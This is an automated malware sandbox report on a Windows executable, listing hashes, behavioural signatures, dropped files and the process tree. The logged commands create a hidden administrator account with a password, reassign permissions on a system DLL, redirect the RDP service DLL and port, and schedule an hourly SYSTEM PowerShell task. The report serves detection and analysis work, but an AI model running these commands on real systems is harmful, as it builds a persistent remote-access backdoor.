Analysis

  • max time kernel
    135s
  • max time network
    94s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 08:29

General

  • Target

    48a73b3a40e13d6f6d611522c618043ef14d870be5fb4b87e9c789cba9ca2de0.exe

  • Size

    2.3MB

  • MD5

    8640faa50991a260de7cf73ea56b5461

  • SHA1

    d2a2f5b1a4c3643290e8ce378f3c497c9b6f94d4

  • SHA256

    48a73b3a40e13d6f6d611522c618043ef14d870be5fb4b87e9c789cba9ca2de0

  • SHA512

    0ab932f92e210b9171f8fa7cd18ac2ab94a552865bc0fdd72cdc1ebc52e85392730722f3563fd6bb9fc1635e63519d764b89ce600caafa29a5abb506611334cf

  • SSDEEP

    49152:sc+3+iySeZ3sIbHhrQpfHm0RJHqulcsRycArKFU:sca+iTeDQfHm0RJHq9hcArd

Malware Config

Signatures

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\48a73b3a40e13d6f6d611522c618043ef14d870be5fb4b87e9c789cba9ca2de0.exe
    "C:\Users\Admin\AppData\Local\Temp\48a73b3a40e13d6f6d611522c618043ef14d870be5fb4b87e9c789cba9ca2de0.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1980
    • C:\Windows\system32\wscript.exe
      "wscript.exe" C:\Users\Admin\AppData\Local\Temp\pomog.vbs
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1560
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c rename C:\Users\Admin\AppData\Local\Temp\pomog.txt pomog.ps1&timeout -t 3& powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\pomog.ps1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1108
        • C:\Windows\system32\timeout.exe
          timeout -t 3
          4⤵
          • Delays execution with timeout.exe
          PID:1044
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ep bypass -f C:\Users\Admin\AppData\Local\Temp\pomog.ps1
          4⤵
          • Deletes itself
          • Drops file in System32 directory
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1076
          • C:\Windows\system32\takeown.exe
            "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1072
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1368
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            • Suspicious use of AdjustPrivilegeToken
            PID:1380
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:856
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1284
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1712
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:1620
          • C:\Windows\system32\icacls.exe
            "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
            5⤵
            • Possible privilege escalation attempt
            • Modifies file permissions
            PID:2016
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
            5⤵
              PID:1580
            • C:\Windows\system32\reg.exe
              "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\help\temp222.dat /f
              5⤵
              • Sets DLL path for service in the registry
              • Modifies registry key
              PID:288
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:1952
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                6⤵
                  PID:884
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                5⤵
                  PID:1920
                • C:\Windows\system32\cmd.exe
                  "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                  5⤵
                    PID:276
          • C:\Windows\System32\cmd.exe
            cmd /C net.exe user WgaUtilAcc 44zI4UVZ /add
            1⤵
            • Suspicious use of WriteProcessMemory
            PID:1232
            • C:\Windows\system32\net.exe
              net.exe user WgaUtilAcc 44zI4UVZ /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:936
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 user WgaUtilAcc 44zI4UVZ /add
                3⤵
                  PID:1700
            • C:\Windows\System32\cmd.exe
              cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
              1⤵
              • Suspicious use of WriteProcessMemory
              PID:1932
              • C:\Windows\system32\net.exe
                net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1200
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                  3⤵
                    PID:1452
              • C:\Windows\System32\cmd.exe
                cmd /C net.exe LOCALGROUP "Remote Desktop Users" ZERMMMDR$ /ADD
                1⤵
                • Suspicious use of WriteProcessMemory
                PID:964
                • C:\Windows\system32\net.exe
                  net.exe LOCALGROUP "Remote Desktop Users" ZERMMMDR$ /ADD
                  2⤵
                    PID:1040
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" ZERMMMDR$ /ADD
                      3⤵
                        PID:1372
                  • C:\Windows\System32\cmd.exe
                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                    1⤵
                      PID:1480
                      • C:\Windows\system32\net.exe
                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                        2⤵
                          PID:2036
                          • C:\Windows\system32\net1.exe
                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                            3⤵
                              PID:1284
                        • C:\Windows\System32\cmd.exe
                          cmd /C net.exe user WgaUtilAcc 44zI4UVZ
                          1⤵
                            PID:2000
                            • C:\Windows\system32\net.exe
                              net.exe user WgaUtilAcc 44zI4UVZ
                              2⤵
                                PID:2016
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user WgaUtilAcc 44zI4UVZ
                                  3⤵
                                    PID:1580
                              • C:\Windows\System32\cmd.exe
                                cmd /C schtasks /create /tn 48957 /tr "powershell -nop -ep bypass -f c:\windows\help\98991.ps1" /ru system /sc hourly /mo 1
                                1⤵
                                  PID:988
                                  • C:\Windows\system32\schtasks.exe
                                    schtasks /create /tn 48957 /tr "powershell -nop -ep bypass -f c:\windows\help\98991.ps1" /ru system /sc hourly /mo 1
                                    2⤵
                                    • Creates scheduled task(s)
                                    PID:1204

                                Network

                                MITRE ATT&CK Enterprise v6

                                Replay Monitor

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                                Downloads

                                • C:\Users\Admin\AppData\Local\Temp\12444.txt

                                  Filesize

                                  2.4MB

                                  MD5

                                  ac1bafbc7e973e69602d70d8e0ec3829

                                  SHA1

                                  65ba4b45cbbccd85ec5c155cd7c41736e5a3382c

                                  SHA256

                                  524a02b242b293b05925caa4def1626e9e0facf971d779999ecbc2d2898ed194

                                  SHA512

                                  7b71bc5ee36d44db6b2e226b588d42ed3f67cd73a188f801809dda6fdd37275b57129a2a41dd8f844b26e61c82aa205ab1182e842b7cb728e4f46fb2a233f1d6

                                • C:\Users\Admin\AppData\Local\Temp\65336777.txt

                                  Filesize

                                  36KB

                                  MD5

                                  2c50ffba8c7d98a9cb5fec3c2a6913df

                                  SHA1

                                  849b62f4911551b69cab9bc5ca6cf1af7ca28fc0

                                  SHA256

                                  f510b64ebae6560c829f3b7081bf6073633ad5cb089bf2fb7b86ae0ad96267b0

                                  SHA512

                                  7d28e6f5d30c918a0324d487828de7cdbf22c6262a67927f110155a02f00f902263037eb0d1eff1ca31be744a0026d3081a5f74d7d47fc1e86b13c9f243ce750

                                • C:\Users\Admin\AppData\Local\Temp\722666222.log

                                  Filesize

                                  62KB

                                  MD5

                                  0c34e2096fc530535d1fb38b8e9f68a6

                                  SHA1

                                  ac9912a3bf5da42cfa9bdc5a48a41c5336980f4a

                                  SHA256

                                  fee2dc3b455813797160264ecebcda7c34707fdafc96320f843891500971fedb

                                  SHA512

                                  0b4b21aecaff1b0e3a3ea9611954a4a32d3ae73c456373b0d6375d661192e09c608175de61abafc2f8bf264a7817a753052e1767ba3cb0755350af9966d66bdf

                                • C:\Users\Admin\AppData\Local\Temp\9887742.txt

                                  Filesize

                                  198KB

                                  MD5

                                  074ff8eac2103666760749711597b336

                                  SHA1

                                  1c349951336d7059807d89163e9c118ef1a6bf26

                                  SHA256

                                  0e22f549a70422bade6e5a19b9efe06c816e90f02f161882a24dde795cb33172

                                  SHA512

                                  7c1f7397367e11ee62cc62f62b059b671409097dd857873c31346d704b0ef7b2d82e318fb8ed1eee3ddb3804ab1f13268190240e2c0ad213c6764118ccdaa237

                                • C:\Users\Admin\AppData\Local\Temp\changes_765543.txt

                                  Filesize

                                  102B

                                  MD5

                                  b72f79c10c59890f9049cb5a6332d680

                                  SHA1

                                  4d3f6fa8a15c2fcaee275983e072207fe1c5b277

                                  SHA256

                                  6589829ca13d08781f77e050907225885692cf6bd64f930ca6c9f9d71740942a

                                  SHA512

                                  f103bca53aac43bcde9a4f9d7da62615861014d6b7e2e4ea775f04a551bf10f5e075a1863d575242d6a927eecc805b47ac5aca67b44a04eb36acb18cf73947dd

                                • C:\Users\Admin\AppData\Local\Temp\pomog.txt

                                  Filesize

                                  39KB

                                  MD5

                                  f140a509e9385574c51a0b6c53d89638

                                  SHA1

                                  c0471a4aa09ccb2fae2214d9fddc758058e4f92f

                                  SHA256

                                  a15fcc9cd5680ba9bb513b46765554d68e8a11fb71826c25bce8cbc6be448af2

                                  SHA512

                                  72baa25c367db6c922c692e6bd9052cb426438570d13e78577f482549a54e51497c5b3ed58dedabf261945a1b8dcb68833b52fdc7dfef9341f0a36c308ce4e3c

                                • C:\Users\Admin\AppData\Local\Temp\pomog.vbs

                                  Filesize

                                  142B

                                  MD5

                                  11789c8be9e4201c26d57b0e192489de

                                  SHA1

                                  6917bcfbeb124c48dbc1d08956f84e84b5a53960

                                  SHA256

                                  ce810ffdf9f3462bd9334993b43f3209a5662127519f336ef7d440201f0fa8db

                                  SHA512

                                  dcd2296e9174089d9b4802868cc1f3997ec814b8ab7a60b0a59af9f95742c53dac0fcf07c250f08041e91dcdfaaef1f3493b686c4f6a205543e06f2c801d8804

                                • C:\Windows\system32\rfxvmt.dll

                                  Filesize

                                  40KB

                                  MD5

                                  dc39d23e4c0e681fad7a3e1342a2843c

                                  SHA1

                                  58fd7d50c2dca464a128f5e0435d6f0515e62073

                                  SHA256

                                  6d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9

                                  SHA512

                                  5cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7

                                • \??\PIPE\samr

                                  MD5

                                  d41d8cd98f00b204e9800998ecf8427e

                                  SHA1

                                  da39a3ee5e6b4b0d3255bfef95601890afd80709

                                  SHA256

                                  e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                  SHA512

                                  cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                • \Users\Admin\AppData\Local\Temp\nstBE.tmp\System.dll

                                  Filesize

                                  11KB

                                  MD5

                                  fbe295e5a1acfbd0a6271898f885fe6a

                                  SHA1

                                  d6d205922e61635472efb13c2bb92c9ac6cb96da

                                  SHA256

                                  a1390a78533c47e55cc364e97af431117126d04a7faed49390210ea3e89dd0e1

                                  SHA512

                                  2cb596971e504eaf1ce8e3f09719ebfb3f6234cea5ca7b0d33ec7500832ff4b97ec2bbe15a1fbf7e6a5b02c59db824092b9562cd8991f4d027feab6fd3177b06

                                • \Windows\Help\temp221.dat

                                  Filesize

                                  940KB

                                  MD5

                                  666b20fd3f3d244f984a470e9d468f53

                                  SHA1

                                  1ed4fcf1994664b8cf511526f54996055f883f95

                                  SHA256

                                  5d9227777bce252a4f1dfbd44e539e0b689cbffa831d8682f90c4df94bdb9873

                                  SHA512

                                  9f0e625ae92a8d81f381e4b2e8dd489d30001481dfee361aca624f53b43177e95d8bf3cc982fd56671eaa59338ea9587464b7ec802885534b3b14300daf1b432

                                • \Windows\Help\temp222.dat

                                  Filesize

                                  123KB

                                  MD5

                                  1e38a16381d1a98127bade41544334cf

                                  SHA1

                                  08766e656a810c1e31fe86bfe48eba4483e21bba

                                  SHA256

                                  f832cf40fd4ba232b6005b2d487b40e97761351d6d1f10751fecdaa5a5a579a3

                                  SHA512

                                  9a14f5bbfc76cfa71289edde85363bde7e14c95295da5fed7d8d24bce2379436083f4794955574e4bbe2ad9a0284c93cf4a09952bd0f24f1fce10462ad899635

                                • memory/276-103-0x0000000000000000-mapping.dmp

                                • memory/288-82-0x0000000000000000-mapping.dmp

                                • memory/856-76-0x0000000000000000-mapping.dmp

                                • memory/884-86-0x0000000000000000-mapping.dmp

                                • memory/936-89-0x0000000000000000-mapping.dmp

                                • memory/1040-94-0x0000000000000000-mapping.dmp

                                • memory/1044-61-0x0000000000000000-mapping.dmp

                                • memory/1072-72-0x0000000000000000-mapping.dmp

                                • memory/1076-69-0x000000000288B000-0x00000000028AA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/1076-66-0x0000000002884000-0x0000000002887000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1076-65-0x000007FEF33E0000-0x000007FEF3F3D000-memory.dmp

                                  Filesize

                                  11.4MB

                                • memory/1076-64-0x000007FEF3F40000-0x000007FEF4963000-memory.dmp

                                  Filesize

                                  10.1MB

                                • memory/1076-62-0x0000000000000000-mapping.dmp

                                • memory/1076-104-0x0000000002884000-0x0000000002887000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1076-105-0x000000000288B000-0x00000000028AA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/1076-83-0x0000000002884000-0x0000000002887000-memory.dmp

                                  Filesize

                                  12KB

                                • memory/1076-84-0x000000000288B000-0x00000000028AA000-memory.dmp

                                  Filesize

                                  124KB

                                • memory/1108-59-0x0000000000000000-mapping.dmp

                                • memory/1200-92-0x0000000000000000-mapping.dmp

                                • memory/1204-101-0x0000000000000000-mapping.dmp

                                • memory/1284-97-0x0000000000000000-mapping.dmp

                                • memory/1284-77-0x0000000000000000-mapping.dmp

                                • memory/1368-74-0x0000000000000000-mapping.dmp

                                • memory/1372-95-0x0000000000000000-mapping.dmp

                                • memory/1380-75-0x0000000000000000-mapping.dmp

                                • memory/1452-93-0x0000000000000000-mapping.dmp

                                • memory/1560-58-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/1560-56-0x0000000000000000-mapping.dmp

                                • memory/1580-99-0x0000000000000000-mapping.dmp

                                • memory/1580-81-0x0000000000000000-mapping.dmp

                                • memory/1620-79-0x0000000000000000-mapping.dmp

                                • memory/1700-90-0x0000000000000000-mapping.dmp

                                • memory/1712-78-0x0000000000000000-mapping.dmp

                                • memory/1920-102-0x0000000000000000-mapping.dmp

                                • memory/1952-85-0x0000000000000000-mapping.dmp

                                • memory/1980-54-0x00000000756B1000-0x00000000756B3000-memory.dmp

                                  Filesize

                                  8KB

                                • memory/2016-98-0x0000000000000000-mapping.dmp

                                • memory/2016-80-0x0000000000000000-mapping.dmp

                                • memory/2036-96-0x0000000000000000-mapping.dmp